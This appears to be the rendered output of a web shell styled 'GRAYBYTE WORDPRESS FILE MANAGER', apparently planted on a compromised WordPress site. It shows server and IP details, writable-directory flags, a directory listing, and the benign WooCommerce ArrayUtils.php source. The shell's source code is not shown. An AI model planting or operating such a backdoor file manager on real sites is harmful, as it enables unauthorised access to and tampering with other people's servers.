✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ premium290.web-hosting.com ​🇻​♯➤ 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 63.250.38.37 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.150
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/tdhomesa/public_html/wp-content/plugins/woocommerce/src/StoreApi/Utilities//ArrayUtils.php
<?php
namespace Automattic\WooCommerce\StoreApi\Utilities;

/**
 * ArrayUtils class used for custom functions to operate on arrays
 */
class ArrayUtils {
	/**
	 * Join a string with a natural language conjunction at the end.
	 *
	 * @param array $array  The array to join together with the natural language conjunction.
	 * @param bool  $enclose_items_with_quotes Whether each item in the array should be enclosed within quotation marks.
	 *
	 * @return string a string containing a list of items and a natural language conjuction.
	 */
	public static function natural_language_join( $array, $enclose_items_with_quotes = false ) {
		if ( true === $enclose_items_with_quotes ) {
			$array = array_map(
				function ( $item ) {
					return '"' . $item . '"';
				},
				$array
			);
		}
		$last = array_pop( $array );
		if ( $array ) {
			return sprintf(
				/* translators: 1: The first n-1 items of a list 2: the last item in the list. */
				__( '%1$s and %2$s', 'woocommerce' ),
				implode( ', ', $array ),
				$last
			);
		}
		return $last;
	}

	/**
	 * Check if a string contains any of the items in an array.
	 *
	 * @param string $needle The string to check.
	 * @param array  $haystack  The array of items to check for.
	 *
	 * @return bool true if the string contains any of the items in the array, false otherwise.
	 */
	public static function string_contains_array( $needle, $haystack ) {
		foreach ( $haystack as $item ) {
			if ( false !== strpos( $needle, $item ) ) {
				return true;
			}
		}
		return false;
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
11 Jul 2026 10.19 AM
tdhomesa / tdhomesa
0755
AgenticCheckoutUtils.php
14.759 KB
23 Feb 2026 5.58 PM
tdhomesa / tdhomesa
0644
ArrayUtils.php
1.494 KB
30 Apr 2024 7.35 PM
tdhomesa / tdhomesa
0644
CartController.php
48.422 KB
12 Mar 2026 8.10 PM
tdhomesa / tdhomesa
0644
CartTokenUtils.php
1.81 KB
23 Jun 2025 7.46 PM
tdhomesa / tdhomesa
0644
CheckoutTrait.php
10.816 KB
23 Jun 2025 7.46 PM
tdhomesa / tdhomesa
0644
DraftOrderTrait.php
1.765 KB
4 Sep 2024 8.34 PM
tdhomesa / tdhomesa
0644
JsonWebToken.php
5.445 KB
29 Jul 2025 12.34 PM
tdhomesa / tdhomesa
0644
LocalPickupUtils.php
5.665 KB
19 Jan 2026 2.46 PM
tdhomesa / tdhomesa
0644
NoticeHandler.php
2.021 KB
3 Mar 2025 10.28 PM
tdhomesa / tdhomesa
0644
OrderAuthorizationTrait.php
3.288 KB
22 Dec 2025 5.20 PM
tdhomesa / tdhomesa
0644
OrderController.php
32.096 KB
5 May 2026 2.26 PM
tdhomesa / tdhomesa
0644
Pagination.php
2.051 KB
27 Dec 2023 12.45 AM
tdhomesa / tdhomesa
0644
PaymentUtils.php
3.649 KB
12 May 2025 9.07 PM
tdhomesa / tdhomesa
0644
ProductItemTrait.php
3.542 KB
30 Mar 2026 5.12 PM
tdhomesa / tdhomesa
0644
ProductLinksTrait.php
1.82 KB
30 Mar 2026 5.12 PM
tdhomesa / tdhomesa
0644
ProductQuery.php
21.606 KB
5 May 2026 2.26 PM
tdhomesa / tdhomesa
0644
ProductQueryFilters.php
9.247 KB
29 Jul 2025 12.34 PM
tdhomesa / tdhomesa
0644
QuantityLimits.php
10.111 KB
29 Jul 2025 12.34 PM
tdhomesa / tdhomesa
0644
RateLimits.php
6.142 KB
3 Mar 2025 10.28 PM
tdhomesa / tdhomesa
0644
SanitizationUtils.php
0.775 KB
27 Feb 2024 6.59 PM
tdhomesa / tdhomesa
0644
ValidationUtils.php
1.729 KB
27 Dec 2023 12.45 AM
tdhomesa / tdhomesa
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF